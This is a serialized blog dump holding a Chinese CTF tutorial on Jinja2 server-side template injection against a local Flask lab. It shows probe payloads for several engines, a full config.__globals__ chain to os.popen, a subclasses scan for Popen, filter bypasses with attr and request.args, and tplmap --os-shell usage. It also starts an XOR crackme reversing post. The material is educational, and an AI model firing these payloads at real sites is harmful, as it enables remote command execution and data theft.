其他引擎的探测语法",[312,7034,7035,7048],{},[315,7036,7037],{},[318,7038,7039,7042,7045],{},[321,7040,7041],{},"引擎",[321,7043,7044],{},"语言",[321,7046,7047],{},"探测 payload",[328,7049,7050,7062,7075,7087],{},[318,7051,7052,7055,7058],{},[333,7053,7054],{},"Jinja2 / Twig",[333,7056,7057],{},"Python / PHP",[333,7059,7060],{},[18,7061,6933],{},[318,7063,7064,7067,7070],{},[333,7065,7066],{},"Freemarker",[333,7068,7069],{},"Java",[333,7071,7072],{},[18,7073,7074],{},"${7*7}",[318,7076,7077,7080,7082],{},[333,7078,7079],{},"Velocity",[333,7081,7069],{},[333,7083,7084],{},[18,7085,7086],{},"#set($x=7*7)$x",[318,7088,7089,7092,7095],{},[333,7090,7091],{},"Smarty",[333,7093,7094],{},"PHP",[333,7096,7097],{},[18,7098,7099],{},"{$smarty.version}",[10,7101,7103],{"id":7102},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,7105,7106,7108],{},[271,7107,273],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,7110,7111,7113,7114,7117,7118,21,7121,21,7124,7127,7128,7131,7132,7134,7135,7138,7139,697],{},[271,7112,279],{},"：模板只能访问少量对象（如 ",[18,7115,7116],{},"config","）。Python 对象有 ",[18,7119,7120],{},"__class__",[18,7122,7123],{},"__init__",[18,7125,7126],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[18,7129,7130],{},"os"," 模块。验证方式：先执行 ",[18,7133,5559],{},"，输出 ",[18,7136,7137],{},"uid=..."," 即成功，再换 ",[18,7140,7141],{},"cat /flag",[15,7143,7144,7145,7147,7148,7150],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[18,7146,7116],{}," 对象，沿 Python 内部属性找到 ",[18,7149,7130],{}," 模块。",[713,7152,7154],{"id":7153},"_41-分步理解","4.1 分步理解",[41,7156,7159],{"className":7157,"code":7158,"language":305,"meta":46},[303],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[18,7160,7158],{"__ignoreMap":46},[713,7162,7164],{"id":7163},"_42-完整-payload","4.2 完整 payload",[41,7166,7169],{"className":7167,"code":7168,"language":305,"meta":46},[303],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[18,7170,7168],{"__ignoreMap":46},[15,7172,7173],{},"用 curl 发送：",[41,7175,7177],{"className":43,"code":7176,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[18,7178,7179],{"__ignoreMap":46},[50,7180,7181,7183,7185,7188],{"class":52,"line":53},[50,7182,5584],{"class":56},[50,7184,652],{"class":651},[50,7186,7187],{"class":60},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[50,7189,658],{"class":651},[15,7191,299],{},[41,7193,7195],{"className":6959,"code":7194,"language":6961,"meta":46,"style":46},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[18,7196,7197],{"__ignoreMap":46},[50,7198,7199,7201,7203,7206,7208],{"class":52,"line":53},[50,7200,6968],{"class":96},[50,7202,6971],{"class":644},[50,7204,7205],{"class":96},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[50,7207,6971],{"class":644},[50,7209,1322],{"class":96},[15,7211,7212],{},"命令执行成功。读 flag：",[41,7214,7216],{"className":43,"code":7215,"language":45,"meta":46,"style":46},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[18,7217,7218],{"__ignoreMap":46},[50,7219,7220,7222,7224,7227],{"class":52,"line":53},[50,7221,5584],{"class":56},[50,7223,652],{"class":651},[50,7225,7226],{"class":60},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[50,7228,658],{"class":651},[15,7230,299],{},[41,7232,7234],{"className":6959,"code":7233,"language":6961,"meta":46,"style":46},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[18,7235,7236],{"__ignoreMap":46},[50,7237,7238,7240,7242,7245,7247],{"class":52,"line":53},[50,7239,6968],{"class":96},[50,7241,6971],{"class":644},[50,7243,7244],{"class":96},">Hello, flag{ssti_rce}!\u003C/",[50,7246,6971],{"class":644},[50,7248,1322],{"class":96},[15,7250,7251,119,7259,7261],{},[271,7252,7253,7254,7256,7257],{},"为什么先试 ",[18,7255,5559],{}," 再试 ",[18,7258,7141],{},[18,7260,5559],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[713,7263,7265,7266,7269],{"id":7264},"_43-备选链subclasses-扫描","4.3 备选链：",[271,7267,7268],{},"subclasses"," 扫描",[15,7271,7272,7274,7275,7277,7278,697],{},[271,7273,273],{},"：当 ",[18,7276,7116],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[18,7279,7280],{},"subprocess.Popen",[15,7282,7283,7285,7286,119],{},[18,7284,7116],{}," 链不可用时，从字符串对象出发找 ",[18,7287,7280],{},[41,7289,7292],{"className":7290,"code":7291,"language":305,"meta":46},[303],"''.__class__.__mro__[1].__subclasses__()\n",[18,7293,7291],{"__ignoreMap":46},[15,7295,7296],{},"先用 Python 脚本找下标：",[41,7298,7300],{"className":411,"code":7299,"language":413,"meta":46,"style":46},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[18,7301,7302,7307,7311,7316,7321,7326,7331,7336,7341,7346,7351,7356,7361,7366,7371],{"__ignoreMap":46},[50,7303,7304],{"class":52,"line":53},[50,7305,7306],{},"import requests\n",[50,7308,7309],{"class":52,"line":70},[50,7310,142],{"emptyLinePlaceholder":141},[50,7312,7313],{"class":52,"line":84},[50,7314,7315],{},"url = \"http://127.0.0.1:5000/\"\n",[50,7317,7318],{"class":52,"line":145},[50,7319,7320],{},"for i in range(500):\n",[50,7322,7323],{"class":52,"line":151},[50,7324,7325],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[50,7327,7328],{"class":52,"line":157},[50,7329,7330],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[50,7332,7333],{"class":52,"line":163},[50,7334,7335],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[50,7337,7338],{"class":52,"line":168},[50,7339,7340],{},"    # .__mro__[1]：继承链上的 object 类；\n",[50,7342,7343],{"class":52,"line":174},[50,7344,7345],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[50,7347,7348],{"class":52,"line":180},[50,7349,7350],{},"    # .__name__：该类的名字，会渲染到页面。\n",[50,7352,7353],{"class":52,"line":186},[50,7354,7355],{},"    r = requests.get(url, params={\"name\": payload})\n",[50,7357,7358],{"class":52,"line":191},[50,7359,7360],{},"    if \"Popen\" in r.text:\n",[50,7362,7363],{"class":52,"line":196},[50,7364,7365],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[50,7367,7368],{"class":52,"line":202},[50,7369,7370],{},"        print(\"Popen index:\", i)\n",[50,7372,7373],{"class":52,"line":208},[50,7374,3795],{},[15,7376,299,7377,7380],{},[18,7378,7379],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7382,7383],{},"然后利用：",[41,7385,7388],{"className":7386,"code":7387,"language":305,"meta":46},[303],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[18,7389,7387],{"__ignoreMap":46},[10,7391,7393],{"id":7392},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7395,7396,7398,7399,21,7402,7405],{},[271,7397,273],{},"：题目过滤 ",[18,7400,7401],{},".",[18,7403,7404],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7407,7408,7410,7411,7414],{},[271,7409,279],{},"：点号访问可以用 Jinja2 的 ",[18,7412,7413],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7416,7417,7418,21,7420,21,7423,7426],{},"题目常过滤 ",[18,7419,7401],{},[18,7421,7422],{},"[",[18,7424,7425],{},"]"," 或关键词。",[713,7428,7430],{"id":7429},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[41,7432,7435],{"className":7433,"code":7434,"language":305,"meta":46},[303],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[18,7436,7434],{"__ignoreMap":46},[713,7438,7440],{"id":7439},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[41,7442,7445],{"className":7443,"code":7444,"language":305,"meta":46},[303],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[18,7446,7444],{"__ignoreMap":46},[15,7448,7449,7450,21,7452,7455],{},"模板里不再出现 ",[18,7451,7130],{},[18,7453,7454],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7457,2252],{"id":2251},[713,7459,7461],{"id":7460},"工具-1curl","工具 1：curl",[41,7463,7465],{"className":43,"code":7464,"language":45,"meta":46,"style":46},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[18,7466,7467,7481],{"__ignoreMap":46},[50,7468,7469,7471,7473,7476,7478],{"class":52,"line":53},[50,7470,5584],{"class":56},[50,7472,652],{"class":651},[50,7474,7475],{"class":60},"http://target/?name={{7*7}}",[50,7477,6225],{"class":651},[50,7479,7480],{"class":2741},"          # 探测\n",[50,7482,7483,7485,7488,7490,7493,7495,7498,7500,7503,7505],{"class":52,"line":70},[50,7484,5584],{"class":56},[50,7486,7487],{"class":250}," -G",[50,7489,652],{"class":651},[50,7491,7492],{"class":60},"http://target/",[50,7494,6225],{"class":651},[50,7496,7497],{"class":250}," --data-urlencode",[50,7499,652],{"class":651},[50,7501,7502],{"class":60},"name={{...}}",[50,7504,6225],{"class":651},[50,7506,7507],{"class":2741},"   # 自动 URL 编码\n",[713,7509,7511],{"id":7510},"工具-2requests","工具 2：requests",[41,7513,7515],{"className":411,"code":7514,"language":413,"meta":46,"style":46},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[18,7516,7517,7521,7525,7530,7535,7540,7545,7550],{"__ignoreMap":46},[50,7518,7519],{"class":52,"line":53},[50,7520,7306],{},[50,7522,7523],{"class":52,"line":70},[50,7524,142],{"emptyLinePlaceholder":141},[50,7526,7527],{"class":52,"line":84},[50,7528,7529],{},"url = \"http://target/\"\n",[50,7531,7532],{"class":52,"line":145},[50,7533,7534],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[50,7536,7537],{"class":52,"line":151},[50,7538,7539],{},"r = requests.get(url, params={\"name\": payload})\n",[50,7541,7542],{"class":52,"line":157},[50,7543,7544],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[50,7546,7547],{"class":52,"line":163},[50,7548,7549],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[50,7551,7552],{"class":52,"line":168},[50,7553,7554],{},"print(r.text)\n",[15,7556,7557,7560],{},[18,7558,7559],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[713,7562,7564],{"id":7563},"工具-3tplmap","工具 3：tplmap",[15,7566,7567],{},"模板注入自动化工具：",[41,7569,7571],{"className":43,"code":7570,"language":45,"meta":46,"style":46},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[18,7572,7573,7582,7601,7620],{"__ignoreMap":46},[50,7574,7575,7577,7579],{"class":52,"line":53},[50,7576,87],{"class":56},[50,7578,90],{"class":60},[50,7580,7581],{"class":60}," https://github.com/epinna/tplmap\n",[50,7583,7584,7586,7589,7591,7593,7595,7598],{"class":52,"line":70},[50,7585,101],{"class":100},[50,7587,7588],{"class":60}," tplmap",[50,7590,97],{"class":96},[50,7592,3834],{"class":56},[50,7594,61],{"class":60},[50,7596,7597],{"class":250}," -r",[50,7599,7600],{"class":60}," requirements.txt\n",[50,7602,7603,7605,7608,7610,7612,7615,7617],{"class":52,"line":84},[50,7604,413],{"class":56},[50,7606,7607],{"class":60}," tplmap.py",[50,7609,6218],{"class":250},[50,7611,652],{"class":651},[50,7613,7614],{"class":60},"http://target/?name=*",[50,7616,6225],{"class":651},[50,7618,7619],{"class":2741},"          # * 是注入点标记\n",[50,7621,7622,7624,7626,7628,7630,7632,7634],{"class":52,"line":145},[50,7623,413],{"class":56},[50,7625,7607],{"class":60},[50,7627,6218],{"class":250},[50,7629,652],{"class":651},[50,7631,7614],{"class":60},[50,7633,6225],{"class":651},[50,7635,7636],{"class":250}," --os-shell\n",[10,7638,7640],{"id":7639},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7642,1167,7643,7646,7647,697],{},[18,7644,7645],{},"http://target/?name="," 存在 SSTI，flag 在 ",[18,7648,7649],{},"/flag",[713,7651,7653],{"id":7652},"第一步探测","第一步：探测",[15,7655,7656,7658],{},[271,7657,273],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[41,7660,7662],{"className":43,"code":7661,"language":45,"meta":46,"style":46},"curl \"http://target/?name={{7*7}}\"\n",[18,7663,7664],{"__ignoreMap":46},[50,7665,7666,7668,7670,7672],{"class":52,"line":53},[50,7667,5584],{"class":56},[50,7669,652],{"class":651},[50,7671,7475],{"class":60},[50,7673,658],{"class":651},[15,7675,7676,7677,7679],{},"响应含 ",[18,7678,7027],{}," → 确认。",[713,7681,7683],{"id":7682},"第二步直接打","第二步：直接打",[15,7685,7686,7688,7689,7692,7693,7695,7696,7698],{},[271,7687,279],{},"：先 ",[18,7690,7691],{},"config.__globals__"," 链试 ",[18,7694,7141],{},"；如果响应没出现 flag 内容，先改用 ",[18,7697,5559],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[41,7700,7702],{"className":411,"code":7701,"language":413,"meta":46,"style":46},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[18,7703,7704,7708,7712,7716,7720,7724],{"__ignoreMap":46},[50,7705,7706],{"class":52,"line":53},[50,7707,7306],{},[50,7709,7710],{"class":52,"line":70},[50,7711,142],{"emptyLinePlaceholder":141},[50,7713,7714],{"class":52,"line":84},[50,7715,7529],{},[50,7717,7718],{"class":52,"line":145},[50,7719,7534],{},[50,7721,7722],{"class":52,"line":151},[50,7723,7539],{},[50,7725,7726],{"class":52,"line":157},[50,7727,7554],{},[15,7729,7730],{},"预期输出中出现：",[41,7732,7735],{"className":7733,"code":7734,"language":305,"meta":46},[303],"flag{ssti_rce}\n",[18,7736,7734],{"__ignoreMap":46},[713,7738,7740],{"id":7739},"第三步被过滤时","第三步：被过滤时",[15,7742,7743,7745,7746,7748],{},[271,7744,279],{},"：把点号换成 ",[18,7747,7413],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7750,7751],{},"改用 attr 与 request.args 组合：",[41,7753,7756],{"className":7754,"code":7755,"language":305,"meta":46},[303],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[18,7757,7755],{"__ignoreMap":46},[10,7759,2544],{"id":2543},[15,7761,7762,7763,600,7765,7768,7769,1117,7771,7774],{},"SSTI 主线：探测 ",[18,7764,6933],{},[18,7766,7767],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[18,7770,7413],{},[18,7772,7773],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1244,7776,7777],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":46,"searchDepth":70,"depth":70,"links":7779},[7780,7781,7782,7783,7784,7785,7786,7787],{"id":6746,"depth":84,"text":6747},{"id":6825,"depth":84,"text":6826},{"id":6915,"depth":84,"text":6916},{"id":7102,"depth":84,"text":7103},{"id":7392,"depth":84,"text":7393},{"id":2251,"depth":84,"text":2252},{"id":7639,"depth":84,"text":7640},{"id":2543,"depth":84,"text":2544},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1263,"image":7790,"alt":7791,"tags":7792,"published":141},"/blogs-img/blog6.png","SSTI 深入实战",[1267,6733,7793,1269],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6741,"description":7788},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7799,"title":7800,"body":7801,"description":8741,"extension":1261,"meta":8742,"navigation":141,"ogImage":8743,"path":8746,"seo":8747,"stem":8748,"__hash__":8749},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7802,"toc":8730},[7803,7807,7810,7814,7820,8004,8007,8024,8027,8036,8041,8053,8057,8059,8064,8077,8081,8092,8095,8101,8106,8110,8121,8135,8137,8143,8152,8156,8161,8176,8178,8209,8211,8240,8247,8251,8283,8286,8311,8315,8318,8368,8373,8375,8383,8386,8392,8394,8406,8420,8422,8427,8436,8438,8443,8446,8461,8463,8469,8472,8476,8481,8498,8558,8560,8572,8574,8579,8582,8592,8596,8600,8683,8687,8718,8720,8727],[10,7804,7806],{"id":7805},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7808,7809],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7811,7813],{"id":7812},"二题目源码与编译","二、题目源码与编译",[15,7815,7816,7817,119],{},"出题人视角的 ",[18,7818,7819],{},"crackme.c",[41,7821,7823],{"className":122,"code":7822,"language":124,"meta":46,"style":46},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[18,7824,7825,7829,7834,7838,7843,7848,7853,7858,7863,7868,7873,7878,7883,7888,7893,7898,7903,7908,7913,7918,7923,7928,7933,7937,7941,7946,7951,7956,7961,7966,7971,7976,7981,7986,7991,7996,8000],{"__ignoreMap":46},[50,7826,7827],{"class":52,"line":53},[50,7828,131],{},[50,7830,7831],{"class":52,"line":70},[50,7832,7833],{},"#include \u003Cstring.h>\n",[50,7835,7836],{"class":52,"line":84},[50,7837,142],{"emptyLinePlaceholder":141},[50,7839,7840],{"class":52,"line":145},[50,7841,7842],{},"int check(const char *input) {\n",[50,7844,7845],{"class":52,"line":151},[50,7846,7847],{},"    char key[] = \"k3y\";\n",[50,7849,7850],{"class":52,"line":157},[50,7851,7852],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[50,7854,7855],{"class":52,"line":163},[50,7856,7857],{},"    unsigned char enc[] = {\n",[50,7859,7860],{"class":52,"line":168},[50,7861,7862],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[50,7864,7865],{"class":52,"line":174},[50,7866,7867],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[50,7869,7870],{"class":52,"line":180},[50,7871,7872],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[50,7874,7875],{"class":52,"line":186},[50,7876,7877],{},"    };\n",[50,7879,7880],{"class":52,"line":191},[50,7881,7882],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[50,7884,7885],{"class":52,"line":196},[50,7886,7887],{},"    int n = strlen(input);\n",[50,7889,7890],{"class":52,"line":202},[50,7891,7892],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[50,7894,7895],{"class":52,"line":208},[50,7896,7897],{},"    if (n != 24) return 0;\n",[50,7899,7900],{"class":52,"line":214},[50,7901,7902],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[50,7904,7905],{"class":52,"line":220},[50,7906,7907],{},"    for (int i = 0; i \u003C n; i++)\n",[50,7909,7910],{"class":52,"line":226},[50,7911,7912],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[50,7914,7915],{"class":52,"line":232},[50,7916,7917],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[50,7919,7920],{"class":52,"line":821},[50,7921,7922],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[50,7924,7925],{"class":52,"line":827},[50,7926,7927],{},"    return 1;\n",[50,7929,7930],{"class":52,"line":833},[50,7931,7932],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[50,7934,7935],{"class":52,"line":839},[50,7936,160],{},[50,7938,7939],{"class":52,"line":845},[50,7940,142],{"emptyLinePlaceholder":141},[50,7942,7943],{"class":52,"line":851},[50,7944,7945],{},"int main(int argc, char **argv) {\n",[50,7947,7948],{"class":52,"line":857},[50,7949,7950],{},"    if (argc != 2) {\n",[50,7952,7953],{"class":52,"line":862},[50,7954,7955],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[50,7957,7958],{"class":52,"line":867},[50,7959,7960],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[50,7962,7963],{"class":52,"line":873},[50,7964,7965],{},"        return 1;\n",[50,7967,7968],{"class":52,"line":878},[50,7969,7970],{},"    }\n",[50,7972,7973],{"class":52,"line":884},[50,7974,7975],{},"    if (check(argv[1]))\n",[50,7977,7978],{"class":52,"line":890},[50,7979,7980],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[50,7982,7983],{"class":52,"line":896},[50,7984,7985],{},"        puts(\"Correct!\");\n",[50,7987,7988],{"class":52,"line":902},[50,7989,7990],{},"    else\n",[50,7992,7993],{"class":52,"line":908},[50,7994,7995],{},"        puts(\"Wrong!\");\n",[50,7997,7998],{"class":52,"line":913},[50,7999,229],{},[50,8001,8002],{"class":52,"line":919},[50,8003,160],{},[15,8005,8006],{},"编译（解题时只有二进制，没有源码）：",[41,8008,8010],{"className":43,"code":8009,"language":45,"meta":46,"style":46},"gcc -o crackme crackme.c\n",[18,8011,8012],{"__ignoreMap":46},[50,8013,8014,8016,8018,8021],{"class":52,"line":53},[50,8015,247],{"class":56},[50,8017,251],{"class":250},[50,8019,8020],{"class":60}," crackme",[50,8022,8023],{"class":60}," crackme.c\n",[15,8025,8026],{},"运行确认行为：",[41,8028,8030],{"className":43,"code":8029,"language":45,"meta":46,"style":46},"./crackme\n",[18,8031,8032],{"__ignoreMap":46},[50,8033,8034],{"class":52,"line":53},[50,8035,8029],{"class":56},[15,8037,1538,8038,697],{},[18,8039,8040],{},"Usage: ./crackme \u003Cflag>",[41,8042,8044],{"className":43,"code":8043,"language":45,"meta":46,"style":46},"./crackme wrongflag123456789012\n",[18,8045,8046],{"__ignoreMap":46},[50,8047,8048,8050],{"class":52,"line":53},[50,8049,2533],{"class":56},[50,8051,8052],{"class":60}," wrongflag123456789012\n",[15,8054,1538,8055,697],{},[18,8056,1510],{},[10,8058,1381],{"id":1380},[15,8060,8061,8063],{},[271,8062,273],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,8065,8066,119,8068,8070,8071,8073,8074,8076],{},[271,8067,279],{},[18,8069,1451],{}," 能看到 ",[18,8072,1514],{}," 这样的短密钥（需要 ",[18,8075,1518],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[713,8078,8080],{"id":8079},"_31-file","3.1 file",[41,8082,8084],{"className":43,"code":8083,"language":45,"meta":46,"style":46},"file crackme\n",[18,8085,8086],{"__ignoreMap":46},[50,8087,8088,8090],{"class":52,"line":53},[50,8089,1408],{"class":56},[50,8091,2389],{"class":60},[15,8093,8094],{},"预期输出（Linux ELF）：",[41,8096,8099],{"className":8097,"code":8098,"language":305,"meta":46},[303],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[18,8100,8098],{"__ignoreMap":46},[15,8102,8103,8105],{},[18,8104,1425],{},"：函数名可见。",[713,8107,8109],{"id":8108},"_32-strings","3.2 strings",[15,8111,8112,8113,8115,8116,8118,8119,119],{},"注意：",[18,8114,1451],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[18,8117,1514],{}," 只有 3 个字符，必须加 ",[18,8120,1518],{},[41,8122,8123],{"className":43,"code":2376,"language":45,"meta":46,"style":46},[18,8124,8125],{"__ignoreMap":46},[50,8126,8127,8129,8131,8133],{"class":52,"line":53},[50,8128,1451],{"class":56},[50,8130,1483],{"class":250},[50,8132,1486],{"class":250},[50,8134,2389],{"class":60},[15,8136,299],{},[41,8138,8141],{"className":8139,"code":8140,"language":305,"meta":46},[303],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[18,8142,8140],{"__ignoreMap":46},[15,8144,8145,8147,8148,8151],{},[18,8146,1514],{}," 极可能是密钥。",[18,8149,8150],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,8153,8155],{"id":8154},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,8157,8158,8160],{},[271,8159,273],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,8162,8163,8165,8166,8168,8169,8172,8173,8175],{},[271,8164,279],{},"：main 里 ",[18,8167,1748],{}," 后紧跟 ",[18,8170,8171],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[18,8174,2412],{},"，逆向思路立刻清晰。",[713,8177,1592],{"id":1591},[41,8179,8181],{"className":43,"code":8180,"language":45,"meta":46,"style":46},"objdump -d -M intel crackme | grep -A 40 